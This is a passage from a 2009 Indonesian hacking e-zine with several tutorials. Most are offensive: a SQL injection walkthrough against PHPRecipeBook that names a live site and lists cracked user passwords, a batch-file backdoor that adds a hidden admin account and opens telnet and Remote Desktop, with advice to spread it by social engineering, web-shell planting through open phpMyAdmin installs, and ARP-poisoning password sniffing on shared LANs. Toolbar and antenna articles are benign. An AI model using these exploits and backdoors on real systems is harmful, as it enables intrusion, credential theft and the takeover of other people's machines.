mudah dan simple.hehehe……………

Masih banyak tips dan trik tentang Computer yang


lebih manjuuuuurr ..Selamat mencoba ………..

Pendamping : Mas.trisnowlaharwetan

Sesudah masukin Id YM seperti gambar di atas


kemudian tekan Enter pada keyboard tunggu
Thx to :
beberapa detik maka akan kita ketahui status dari
Id Kutang_Hansip .hehehe si Agi susah bgt disuruh @ Agitama
invies jadinya :
@ trisnowlaharwetan

@ Hackers – Center.org

@ Spyrozone.net

/ Nick : Cybernet

/Location : Bandung-
Cilacap
Ternyata si Agi Online. nah itu status Id YM yg
Online Seperti gambar di atas . Tuh Gi loe dah exis /Email :
di artikel + senyuman loe yang MANIS.xixixixii Cybernethc@yahoo.com

Seperti Gambar di bawah lah Status yang Invies tapi


si Cybernet lagi Online :

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 26- HC eMagazine – Spirit # 02

Remote SQL Injection Exploit


SQL Injection pada PHPRecipeBook 2.39
Writer : Necklord (necklord@hackers-center.org)

Nah, pada kesempatan kali ini gw mau membahas salah satu kelemahan
yang populer di dunia hacking, yaitu SQL Injection.

Kali ini target kita adalah PHPRecipeBook versi 2.39. PHPRecipebook adalah
script php opensource untuk menejemen resep makanan.

Kamu bisa download script ini di:


http://sourceforge.net/projects/phprecipebook/, gratis n’ open source .

Ok, let’s begin.

Disarankan mencoba di localhost, atau jika ingin mempraktikan sebaiknya menggunakan proxy.

Untuk gw sendiri, gw lebih suka nyoba langsung dari pada di localhost , karena itu, mari kita cari targetnya
dulu, pastinya lewat gooogle.

Gunakan syntax: inurl:"/index.php?m=" "PHPRecipeBook 2.39"

Gambar 1. Hasil Pencarian di Google

Waduh … ternyata hasil pencarian menghasilkan banyak sekali situs, pilih yang mana nih…. Gw lihat satu satu,
rupanya ada situs yang membuat gw menjadi tertarik, yaitu www.lowcarbohydratefoods.net. Ok, kalau begitu
gw langsung menuju ke TKP.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 27- HC eMagazine – Spirit # 02

Gambar 2. Waduh, langsung muncul resep

Wah, baru di klik aja langsung muncul resep, ckckckck. Yaudah langsung aja kita mulai injeksinya.

Kelemahan terdapat pada file index.php, terutama pada bagian search. Yaitu:
index.php?m=recipes&a=search&search=yes&course_id=[Nah Disini]

Bagian nah disini yang diberi warna merah bisa diisi oleh code code seperti:

-7+union+select+1,user_login,3,4,5,6,7+from+security_users—

Jika Kode diatas dimasukan, maka akan muncul daftar username yang terdapat pada situs tersebut, nah untuk
mengetahui passwordnya cukup ganti user_login menjadi user_password (Sesuai dengan table security_users)
menjadi seperti ini:

-7+union+select+1,user_password,3,4,5,6,7+from+security_users—

Nah ini daftar username yang ada:

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 28- HC eMagazine – Spirit # 02

Gambar 3. Usernamenya banyak bangetz!

Wah, lihat usernamenya banyak bangetzzz… Ditengah tengah ada username admin tuh, itu sasaran kita .
Nah, sekarang coba kita cari tahu passwordnya.

Gambar 4. Waduh, ga gampang lho!!!

Waduh RUPANYA PASSWORDNYA SEGUDANG!!! Di DECODE LAGI!!! Kita harus mencari tahu password si
admin, hmmm…. Tadi kalo gw hitung admin berada di urutan ke 11, tapi ini tidak menjamin bahwa
passwordnya juga berada di urutan ke 11. Jadi secara untung untungan, gw coba password ke 11.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 29- HC eMagazine – Spirit # 02

Untuk menggunakan password itu, kita membutuhan sebuah md5 decrypter untuk men decrypt md5 hash
passwordnya. Gw pake tools yang disediain oleh kerinci.net yang bisa diakses di
http://tools.kerinci.net/?x=md5 .

Gambar 5. Beruntung! Md5 hash ditemukan!

Setelah hash ditemukan, munculah angka 8624266 sebagai hasilnya, lalu langsung saja gw coba.

Gambar 6. Gagal!

Wah, rupanya gagal, tapi gw memutuskan untuk tidak menyerah!!! Bagaimana jika dicoba secara masal?? Ok,
gw akan coba.

Gw mencoba dengan 48 password hash dari pertama.

Gambar 7. Tidak semuanya berjalan dengan mulus!

Tidak semuanya berjalan dengan mulus, rupanya ada beberapa password yang tidak ditemukan oleh tool tsb,
jadi gw gunakan saja yang ada.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 30- HC eMagazine – Spirit # 02

e3ceb5881a0a1fdaad01296d7554868d [ 222222 ]
8f9b97bf3fad640ca17e9627e6bba1fd [ michael1 ]
ba9e42353a9b49c10c44f4bc7aa6e867 [ nascar ]
e389cb43132a236f3c11e96d4557a28e [ cullen ]
f0f02c8573be5de9dd53c49f3cd28656 [ kelsey ]
0826b5c04738bedcc5ebc17dc643e103 [ erica ]
c592daf85aec99bd8f855e0299d0c88c [ booloo ]
e9646d086a37906e5bec4323d3b37c9b [ snoopy ]
3b73acb1ede1b4503409735604e6eb1a [ kruiden ]
c5e29022e24ef7195fe60ee03f86d637 [ 8624266 ]
361b259045c200a88bbcb3028a4115ff [ anaforlife ]
629eeeebb23c16e7ebd4ccfe6456aae2 [ 228233 ]
0d107d09f5bbe40cade3de5c71e9e9b7 [ letmein ]
587915d98237ac0c8ac6da2f27343424 [ 1023jo ]
e311dd5fd4cdbba780ea0d0062df7788 [ christina ]
21d9c57c1d2ae58cf12ece8a3470666b [ ophelia ]
7d0df4f46505d83bc7949dd1fb9c0db8 [ bailey ]
0894398a6221a5138e48c4707c817b8a [ ribber ]
60a8d9553442e861617b0e581768f651 [ domino ]
8ee44d70bdc5f84c63804496ba66e333 [ john1953 ]
e892f70829c1f7412842cd5d659cad4b [ jimmys ]
544720e1554ad7ec7c4931378d794751 [ 091302 ]
c2800c7f1ccbe43bafdde1bf66c71209 [ blwalk ]
a541714a17804ac281e6ddda5b707952 [ wisdom ]
1e9c32b7ba6fefa76773d5c79bcdaad0 [ russell ]
1613f36d06342303f69469f5a1b29c21 [ james1 ]
fccf8b614092514a952436581857679d [ 031972 ]
8db420479ffde71f56d59acbd23c3bf2 [ sacsbc ]
81150c20187cd1e88948445ff5e57cb5 [ iluvthom ]
aa1a7b903e4d011ce332c921c53c2708 [ heidiboo ]
d8ae5776067290c4712fa454006c8ec6 [ samuel ]
d3448803ba80ae9f938ba4a5b940cc07 [ RAPHAEL1 ]
9cc939576d2f1dd7ec227996742c9664 [ qaz2wsx ]
34f76d9adcbabd514b5a9824b2197421 [ edmonton ]
a9fced156f931f6f5cfdcdd7ffd74127 [ gurli6 ]
b8b2926bd27d4307569ad119b6025f94 [ 9676 ]

Baiklah, gw mulai mencobanya. Tapi dengan bantuan brutus… 

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 31- HC eMagazine – Spirit # 02

Gambar 8. Brutus yang sudah diconfigurasi

Dan, setelah menunggu beberapa lama, ahkirnya …. Usaha yang dilaksanakan secara sungguh sungguh pasti
membuahkan hasil, akhirnya gw berhasil login!!

Gambar 9. Usaha yang tidak sia sia.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 32- HC eMagazine – Spirit # 02

Gambar 10. Bisa langsung tambah resep 

Jadi, jangan takut untuk mencoba!!

Author : Necklord
Email : necklord@hackers-center.org
Nick at Forum : Administrator
Thanks to : - God
- All of HC Staff & Members
- HC eMagazine Team
- Readers …

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 33- HC eMagazine – Spirit # 02

Add Ons Mozilla Made Easy


Cara Mudah dan Cepat Membuat Toolbar Browser

Writer : ciebal (ciebal@mugi.or.id)

Setelah ciebal membuat Toolbar Hackers-Center untuk Mozilla n IE yang telah dipublish dan gunakan
oleh para member HC, kini ciebal akan sedikit membahas cara pembuatan toolbar dengan mudah
tanpa keahlian khusus dan semoga ini bisa menjawab pertanyaan-pertanyaan para member yang
bertanya tentang cara pembuatannya sehingga ada yang menganggap ciebal JAGO. Setelah membaca
artikel ini pasti anggapan bahwa ciebal JAGO akan pergi jauh-jauh dari pikiran kamu. Xixixixi..

Sebetulnya ada banyak software khusus untuk membuat Add Ons Mozilla tapi kali ini ciebal akan
mencoba membahas dengan bantuan Online Service pada conduit.com untuk proses pembuatannya.
Sebetulnya Add Ons Mozilla yang ber-ekstensi .xpi merupakan kumpulan file-file atau ekstensi untuk
mengkompress file seperti .zip atau .rar. Silahkan kamu coba ganti ektensi .xpi dengan .zip lalu buka
file tersebut dan apa yang kamu lihat..? Yah hanya sekumpulan file-file yang telah di kompress. 

Ok deh, sekarang kita mulai untuk membuat ToolBar pribadi untuk website/blog sendiri, komunitas,
dll. Sekarang ikuti langkah berikut ini :

1. Buka situs www.conduit.com dan lakukan registrasi seperti biasa dan isikan data peribadi
kamu

2. Setalah proses registrasi selesai, kamu akan menerima email dari conduit.com dan silahkan
login.

3. Setelah login, untuk pertama kalinya kamu akan melihat wizard sebagai panduan untuk
menggunakan layanan ini. Tekan Start untuk memulai penggunaan. 

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 34- HC eMagazine – Spirit # 02

4. Kamu akan dibawa pada cpanel account kamu, dan pasti kamu juga sudah mulai terbayang
bagaimana cara menggunakannya.. :D

Segitu aja..? Emang Cuma segitu kok, sekarang kamu tinggal membuat toolbar kamu agar lebih cantik
dilihat..  Disini ciebal Cuma sedikit membahas tentang bagian-bagian pentingnya aja yah..

Sekarang kita coba edit sedikit toolbar kita ini sehingga menjadi lebih caktik untuk di gunakan di
firefox atau IE kita.. 

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 35- HC eMagazine – Spirit # 02

1. Edit Logo

Untuk mengedit logo cukup dengan mengklik <Add Your logo> pada live preview toolbar kita
lalu pilih edit, dan akan tampil seperti ini : (Silahkan edit sesuka kamu)

2. Menambah content ToolBar

Sekarang adalah proses pembuatan isi dari toolbar kamu, kamu bisa menambahkan link, radio,
email notifier, serta aplikasi lainnya.

3. Silahkan berexplorasi lebih dalam untuk mempercantik ToolBar kamu.. 

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 36- HC eMagazine – Spirit # 02

Yang istimewa pada layanan ini adalah kamu tidak perlu pusing-pusing menyediakan hosting dan
domain untuk menyimpang toolbar kamu. Contohnya HC memiliki domain untuk toolbar sendiri yaitu
www.hackers-center.ourtoolbar.com pada bagian ini ciebal membuat domain dengan nama
www.ciebal.ourtoolbar.com sebetulnya masih banyak lagi domain yang bisa kamu gunakan anda
tinggal setting saja. 

Kamu juga bisa mendapatkan dolar dari toolbar ini, karena setiap ada orang yang menginstall ToolBar
yang kamu buat kamu akan mendapatkan 0.1 Dolar (kalau gak salah).

Lumayan kan..? selain mendapatkan dolar kamu juga jadi bisa melihat trafik pengguna ToolBar buatan
kamu, statistik diatas adalah hasil dari ToolBar HC yang di ambil screeshotnya pada tanggal 10 Juni
2009.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 37- HC eMagazine – Spirit # 02

OK, sekian dulu tutorial singkat dari ciebal. Mohon maaf karena aktikel ciebal ini tidak ada
hubungannya dengan hacking karena ciebal emang gak bisa klo soal Hacking-Hackingan. Xixixixxi..

Semoga bermanfaat, klo kurang jelas bisa menghubungi saya via email atau YM. Terimakasih.. 

/Nick at Forum : ciebal

/Location : Banten - Bandung

/Email : ciebal745@gmail.com or ciebal@mugi.or.id

/Web: www.ciebal.web.id | www.indoblogger.web.id

/Thanks to:

Allah SWT, My Family, All My Friends, HC Staff, Indoblogger Community, omicron9194,


eminem, Paluared JS, Blackpaper, Quatum.Byte, chuwey, kemangi, aris lesmana, xyberbreaker,
All Reader, etc..

Tengkyu semuanya yang gak bisa disebutin satu-persatu.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 38- HC eMagazine – Spirit # 02

Trojan UnDetected AV
Membuat Trojan Sederhana
Writer : eminem (www.eminem.com)

Trojan horse atau Kuda Troya, dalam keamanan komputer merujuk


kepada sebuah bentuk perangkat lunak yang mencurigakan
(malicious software/malware) yang dapat merusak sebuah sistem
atau jaringan. Dapat disebut sebagai Trojan

Trojan berbeda dengan jenis perangkat lunak mencurigakan lainnya


seperti virus komputer atau worm karena dua hal berikut:

Trojan bersifat "stealth" (siluman dan tidak terlihat) dalam operasinya dan seringkali
berbentuk seolah-olah program tersebut merupakan program baik-baik, sementara virus
komputer atau worm bertindak lebih agresif dengan merusak sistem atau membuat sistem
menjadi crash.
Trojan tidak mereplikasi dirinya sendiri, sementara virus komputer dan worm melakukannya.

Trojan berjalan sebagai sebuah layanan sistem, dan bekerja di latar belakang (background),
sehingga Trojan-Trojan tersebut dapat menerima perintah dari penyerang dari jarak jauh.
Ketika sebuah transmisi UDP atau TCP dilakukan, tapi transmisi tersebut dari port (yang berada
dalam keadaan "listening") atau alamat yang tidak dikenali, maka hal tersebut bisa dijadikan
pedoman bahwa sistem yang bersangkutan telah terinfeksi oleh Trojan Horse.

Sumber 100% dari wikipedia 

Sekarang di sini saya mempunyai sebuah script dari bat yang gunanya untuk membuka port dan
bisa untuk melakukan remote melewati telnet , sama hal nya seperti trojan  :

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 39- HC eMagazine – Spirit # 02

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

@echo off
net user eminem /add /expires:never
net localgroup administrators eminem /add
echo Windows Registry Editor Version 5.00> c:\winst.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>> c:\winst.reg
echo "eminem"=dword:00000000>> c:\winst.reg
REGEDIT /S c:\winst.REG
DEL c:\winst.REG

@echo off
@echo REGEDIT4>user1.reg
echo. >>user1.reg
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr]>>user1.
reg
echo. >>user1.reg
echo "ErrorControl"=dword:00000001>>user1.reg
echo "Start"=dword:00000002>>user1.reg
echo "Type"=dword:00000010>>user1.reg

@echo off
echo "FailureActions&
quot;=hex#58;00,00,00,00,00,00,00,00,00,00,00,00,03,00,00,00,38,65,11,
00,01,00,0
0,00,60,ea,00,00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00>>user
1.reg
echo. >>user1.reg
echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0]>>user1.reg
echo. >>user1.reg
echo "NTLM"=dword:00000001>>user1.reg
echo "TelnetPort"=dword:29A>>user1.reg
echo off
regedit /s user1.reg
echo off
del user1.reg

@echo off
echo Windows Registry Editor Version 5.00> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server]>> c:\TS.reg
echo "fDenyTSConnections"=dword:00000000>> c:\TS.reg
echo "fAllowToGetHelp"=dword:00000001>> c:\TS.reg
regedit /s c:\TS.reg
del c:\TS.reg

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 40- HC eMagazine – Spirit # 02

@echo off
echo Windows Registry Editor Version 5.00> c:\TS2.reg
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]>>
c:\TS2.reg
echo "Start"=dword:00000002>> c:\TS2.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server]>> c:\TS2.reg
echo "AllowTSConnections"=dword:00000001>> c:\TS2.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server]>> c:\TS2.reg
echo "fDenyTSConnections"=dword:00000000>> c:\TS2.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server]>> c:\TS2.reg
echo "fAllowToGetHelp"=dword:00000001>> c:\TS2.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon]>> c:\TS2.reg
echo "AllowMultipleTSSessions"=dword:00000001>> c:\TS2.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon]>> c:\TS2.reg
echo "AutoAdminLogon"="1">> c:\TS2.reg
REGEDIT /S C:\TS2.REG
REGEDIT -S C:\TS2.REG
echo [Components] > c:\bootlog~.txt
echo TSEnabled = on >> c:\bootlog~.txt
sysocmgr /i:%windir%\inf\sysoc.inf /u:c:\bootlog~.txt /q
DEL c:\TS2.REG
DEL c:\bootlog~.txt
@start /b "iexplore.exe" www.hackers-center.org
Exit

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Nb : di wajibkan untuk mengedit source di atas  , karena nick saya terlalu ganteng. . 

Perhatikan pada bagian , berikut ini .

net user eminem /add /expires:never


net localgroup administrators eminem /add

akan menambahkan user eminem

echo "TelnetPort"=dword:29A>>user1.reg

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 41- HC eMagazine – Spirit # 02

akan membuka telnet port 666 [karena 29A adalah hasil hex dari 666]

untuk merubahnya anda bisa mencoba menggunakan calculator,

Run – Calc

Lihat gambar di bawah ini :

Cukup merubah Dec ke Hex

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 42- HC eMagazine – Spirit # 02

Dan pada bagian :

@start /b "iexplore.exe" www.hackers-center.org

Apabila victim mengklik file bat ini akan membuka www.hackers-center.org yang gunanya
untuk merecord IP sang victim 

Source Record Ip kira² seperti ini .

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
<?php
$logfile= 'nt0d.html';
$IP = $_SERVER['REMOTE_ADDR'];
$logdetails= date("F j, Y, g:i a") . ': ' . '<a href=http://www.dnsstuff.com/tools/ipall.ch?domain=
'.$_SERVER['REMOTE_ADDR'].'>'.$_SERVER['REMOTE_ADDR'].'</a>';
$fp = fopen($logfile, "a");
fwrite($fp, $logdetails);
fwrite($fp, "<br>");
fclose($fp);
?>
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

NB : silakan mengeditnya apabila saya terlalu tampan 

Ok sekarang kita mulai cara membuatnya, copy paste code bat pertama kedalam notepad dan
save dengan ekstensi bat [jangan lupa edit bagian2 pentingnya saja seperti user , port , rec IP
]. [anda bisa merubahnya dengan exstensi exe menggunakan tools seperti bat2exe yang bisa
di download di http://www.battoexe.com ] setelah itu silakan anda sebarkan file bat atau exe
tadi di jagad maya ini atau anda bisa melakukan percobaan dengan teman anda  , yeah
tentunya menggunakan tehnik soceng , dan yang lbh asiknya tidak 1 AV pun berhasil
membacanya sebagai malicious code . setelah itu anda hanya perlu mengecek site record IP
yang anda buat tadi  dan anda bisa meremote melalui telnet dengan port 666 [ saya pernah
mencobanya dengan Remote Dekstop dan berhasil  ]

Ok sekian artikel dari orang tampan seperti saya 

Terima kasih .

Thanks to My Brotherhood : bob , zeth , oki , pizzy , agus , jack , revan ,dan brotherhood lainnya
 jangan pernah biarkan otak mu sadar teman.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 43- HC eMagazine – Spirit # 02

Antena ASTRO Holic


Antena Astro Holic
Writer : root (chepoek_agie@yahoo.com)

Disini kita memanfaatkan sebuah Disc ASTRO yang sudah ga dipakai


lagi, daripada kebuang sia-sia mendingan kita pakai buat antena
WiFi.

Kita siapkan bahan-bahan dulu…..

Bahan yang dibutuhkan adalah:

1. Pipa PVC ukuran 3”, panjang 24cm


2. Tutup pralon / dop pipa ukuran 3” 2buah
3. Tutup pralon / dop pipa ukuran 1” 1buah
4. Mur Baut panjang 2cm
5. Alumunium foil
6. USB WiFi
7. Kabel UTP panjang max 15 Meter
8. Kabel sambungan USB

Bahan yang utama untuk membuat Antena adalah poin 1 – 6, jika sudah mempunyai kabel
perpanjangan USB tidak perlu menyiapkan poin 7 & 8.

Langsung aja kita praktek……

a. Ambil dop pipa ukuran 3” & 1”, kita lubang pas ditengah seukuran baut yg sudah kita
siapkan. Lalu kita tempelkan secara berlawanan & baut kencang kedua dop pipa
tersebut.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 44- HC eMagazine – Spirit # 02

b. Lapisi bagian dalam dop ukuran 3” dengan alumunium foil.

c. Selanjutnya ambil pralon pvc 3”, lubangi seukuran slot USB untuk memasukkan USB
WiFinya, ukuran 5cm dari bibir pralon. Dan buat garis 19cm dari bibir tersebut untuk
area alumuniumfoil.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 45- HC eMagazine – Spirit # 02

d. Masukkan USB WiFinya kedalam pralon lalu tutup dengan dop yang telah kita buat tadi.
Dop yang ada lapisan alumunium foilnya pasang di sebelah paling dekat dengan lubang
USB. Ingat!! Dop paling ujung jangan dilapisi alumunium…..

e. Pasang rangkaian pralon tadi pada tangkai antena ASTRO yang telah kita siapkan.

Selesai sudah prakaria kita, saatnya ujicoba scan sinyal dengan software “Network
Stumbler”.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 46- HC eMagazine – Spirit # 02

Hasil dari scan sinyal……

Nah selamat berkarya, kalo ada yang bisa bikin lebih sensitif lagi silahkan di share…
Kita kembangkan cara ini, siapa tau bisa ngalahin antena GRID pabrikan hehehehehee…

root@HC A.K.A chepoek


chepoek_agie@yahoo.com

foto lebih komplit ada disini http://dl.getdropbox.com/u/324971/antena/foto.html

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 47- HC eMagazine – Spirit # 02

PhpMyAdmin Vulnerability
Getting Windows Shell with phpMyAdmin

Writer : Coco_nk4l (kyo2_2004@yahoo.com)

Gw yakin kalo banyak dari loe semua dah pada tau apa itu
namanya shell??? Yups bagi gw shell adalah Backdoor buat
system pada suatu site, bayangin loe gak perlu tau password dr
cpanel, loe bisa cari tw passwordnya, lo bisa utak utik file
managernya nambah file ato hapus file atau deface tugh site
sekalian, pada umumnya shell sering kita jumpai dengan system
operasi Linux, walaupun gak menutup kemungkinan shell yang
kita dapetin adalah basis Windows, nah pertanyaan gimana cara
bedainnya antara tugh shell pake OS windows ato pake OS linux???

Yang membedakan yaitu pada bagian uname-a akan terdapat jenis windows yg di pake kalo
kalian menggunakan shell dengan jenis (c99), disini gw gak bakalan jelasin secara detail apaan
itu shell, fungsinya apaan aja, tp dsini gw Cuma ingin share pengetahuan gw tentang gimana
cara dapet Shell windows menggunakan kelemahan ato vulnerability dari phpmyadmin dan
xampp, langsung aja kita coba…

Yang harus loe siapkan :

PC dengan Koneksi Internet tentunya


Kesabaran
Script Shell yang udah di encode menjadi base64 kalian bisa ambil di
http://geocities.com/kyo2_2004/alat/shell_64.txt’
Pengetahuan ttg google dork untuk variasi target 
Kopi plus rokok n camilan kalo perlu

Yang pertama kita lakukan setelah semua kebutuhan terpenuhi yaitu, kita musti cari target
dahulu, pertama coba lakukan pencarian target dengan bantuan paman Google, Dork yang kita
gunakan adalah Inurl:/xampp/lang.php?  bisa juga kita variasi untuk ke suatu Negara
tertentu saja.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 48- HC eMagazine – Spirit # 02

Setelah melakukan pencarian coba aja kita cari target, kali ini gwa kasih contoh targetnya
adalah..

http://racewarz.org/xampp/lang.php?it

Kita lihat diatas adalah tampilan dari phpmyadmin dari site http://racewarz.org/

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 49- HC eMagazine – Spirit # 02

Nah kalo udah dsana ada Tulisan phpmyadmin, coba loe buka apakah bisa kita akses secara langsung
atokah harus make login, ternyata gak perlu login kita dah bisa masuk kedalam phpmyadmin yang
bentuknya kurang lebih seperti gambar di bawah ini

Setelah kita masuk phpmyadmin kita buka Querywindow yang di wakili ama icon kotak bertuliskan SQL.
Dan akan muncul popup seperti berikut

Dalam popup itu kita bisa inject perintah2 SQL, nah disini silahkan kalian masukan code seperti ini :

SELECT “script shell hasil encode” INTO OUTFILE ”lokasi DOCUMENT_ROOT(htdocs)”

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 50- HC eMagazine – Spirit # 02

Ket:

Lokasi htdocs : lokasi dimana isi dari semua site tersimpan cara untuk mengetahuinya yaitu dengan
cara membuka halaman phpinfo

http://www.racewarz.org/xampp/phpinfo.php ato bisa juga klik tulisan phpinfo() pada tampilan


phpmyadmin, yang hasilnya kurang lebih seperti ini

Nah kalo udah hasil script yang kita masukan kedalam Query window adalah sebagai berikut:

SELECT INTO “isi script shell” INTO OUTFILE "C:/xampp/htdocs/hc.php"

Penjelasan:

Isi script shell gak gw tulis soalnya terlalu banyak 

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 51- HC eMagazine – Spirit # 02

Nah dsana ada c:/xampp/htdocs dimana itu adalah lokasi DOCUMENT_ROOT ato lokasi file2
web di simpan,

Dan hc.php adalah nama file dari shell yang gw tanam.

Kalo udah tekan tombol GO

Dan kita tunggu sesaat sampe proses dari phpmyadmin selesai kalo udah semua prosesnya,
kita bakalan lead hasilnya

Di http://www.racewarz.org/hc.php dan hasilnya adalah seperti gabar di bawah:

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 52- HC eMagazine – Spirit # 02

Shell windows dah di tanggan, untuk command2 yang di pake berbeda dengan shell Linux,
command yang akan kita pakai yaitu command yang sama seperti kita gunain CMD ato Ms
Dos.

Oke, sekian dulu goresan tangan gw semoga bisa menambah pengetahuan loe semua tantang
namanya seucurity dalam Web ato dunia bawah tanah.

Moga loe semua gak bosen dengan tulisan gw, sekali lagi terima kasih

Salam

Coco A.K.A Nk4l

 Hackers-Center  Balikita  Yogyafree  HD Team 

| UnderDos | MetroPolix | R00t | Niko A.K.A Biadabz | AK-47| GT-5|

|inc0mp13te | X-shadow | Jeje | Ramz | Agitama | Gorontalo Defacer |

| Indonesian Coder | Cukdu$ Crew | Tuban Hackerlink | Deantique |

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 53- HC eMagazine – Spirit # 02

Sniffing Jaringan with Cain & Abel


Mengintip Password Orang dalam Jaringan

Writer : phychole (phy_chole@telkom.co.id)

Welcome, salam kenal. Ini tutorial yang udah basi. Ini aku peruntukan untuk yang baru mengenal
jaringan jadi untuk para master numpang nulis dan kalo ada kesalahan mohon bimbingannya. Cain
merupakan tools lengakap untuk berbagai aktifitas. Kali ini saya akan memberi tutorial tentang sniffing
menggunakan Cain & Abel. Yang kalian butuhkan yaitu:

1. Software Cain&Abel (bisa di cari digoogle udah bertebaran atau langsung ke home nya di
www.oxid.it
2. Komputer yang terhubung dengan LAN (Bisa di Lab Internet, Warnet, Kantor, maupun Hotspot
area)
3. Kopi panas/The anget (yang penting minuman yang kalian suka biar ga haus)
4. Camilan(yang bisa dimakan nemani saat sniffing)
5. Teman yang asik (bisa cewek atau yang lain)

Oke sudah lengkap khan????

Kita mulai, saya anggap kalian sudah mendapatkan Cain&Abel sekarang yang mesti kalian lakukan
membuka file tersebut. EIts…… tunggu dulu matikan antivirus yang berjalan agar Cain&Abel tidak
dimakan oleh antivirus yang bangsat tersebut. Karena kita disini ga mengenal antivirus.
Kwkwkkwkwkw

Klik dua kali untuk memulai instalasi

Ikuti petunjuk yang ada. Kalo nggak ngerti bahasa inggris kayak aku ya klik aja yang ada tulisannya NEXT
ampe ketemu tulisan FINISH berarti kita udah sukses.

Ini kita diminta install Wincap yang emang sudah disertakan satu paket dengan Cain & Abel itu sendiri.
Apabila kita tidak install maka Cain & Abel tidak akan berjalan. Namun apabila anda sudah menginstall
tools yang lain dan menyertakan Wincap maka anda tidak usah mengisntall Wincap kembali. Untuk
Instalasi tetap masih seperti yang pertama klik next sampai ketemu finish.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 54- HC eMagazine – Spirit # 02

Oke sekarang selesai lah semua. Kita sudah bisa menggunakan Cain & Abel kita. Cara memanggil
program ini sama dengan program aplikasi yang lain. Kalian tinggal cari shortcut Cain & Abel ini. Klik
Start >> all Program >> Cain >> Cain

Ini adalah tampilan awal kita masuk ke dalam Cain & Abel. Langkah selanjutnya adalah kita perlu untuk
mengkonfigurasi Cain & Abel dengan Hardware kita. Bisa LanCard ataupun wireless.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 55- HC eMagazine – Spirit # 02

Klik Configure maka akan muncul jendela baru seperti diatas. Pilih IP address yang koneksi dengan
computer lain. Kemudian klik Apply dan OK

Selanjutnya kita Aktif kan Cain & Abel dengan klik tombol

Selanjutnya klik Tombol + yang ada di toolbar


maka akan muncul jendela baru MAC Address Scanner. Ini berfungsi mencari MAC Address atau
alamat computer yang terkoneksi dengan jaringan kita. Klik OK

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 56- HC eMagazine – Spirit # 02

Maka akan muncul MAC Address komputer lain. Kalo lebih dari satu itu pertanda baik bagi kita. Karena
sniffing lebih seru kalo komputer lebih dari satu. Selanjutnya klik tombol APR yang ada di bagian bawah

akan muncul jendela baru. Setelah masuk ke

jendela APR langkah selanjutnya klik di colom Status kemudian klik tombol + akan muncul jendela
baru

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 57- HC eMagazine – Spirit # 02

Klik no IP server yang di sebelah kiri (biasanya 192.168.0.1 atau yang akhir nya angka 1 itu pasti
server) akan muncul IP di table sebelah kanan blok semua IP tersebut dan klik OK. Aktifkan APR
dengan klik tanda bulat warna kuning di bagian atas toolbar. Maka akan muncul status baru di
table bawah, jika berwarna hijau maka ada yang koneksi dengan internet. Kalngak selanjutnya
adalah kita masuk ke jendela password dengan klik tab Password yang ada di bagian bawah.

Akan muncul banyak tulisan di situ. Kalian tinggal nunggu aja dan sesekali mengecek. Setiap ada yang
membuka web dan membutuhkan LOGIN maka akan muncul username dan Passwordnya. Ini
merupakan cara termudah kita mendapatkan Username dan Password di LAN. Yang telah berhasil saya
temukan yakni password untuk Friedster, Yahoo mail & Messenger, Blogspot dan account – account
lainnya. So selamat memanen password di tempat LAN favorite kalian 

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 58- HC eMagazine – Spirit # 02

Selain mencari password dan username untuk masuk website, kita juga bisa menemukan password
admin server LAN yang kita gunakan. Dan banyak lagi fungsi dari Cain & Abel ini kalian tinggal mencari
tutorial yang lebih lengkap di GOOGLE dengan tag “cain&abel”. Sekian dari saya. phychole

Attention:

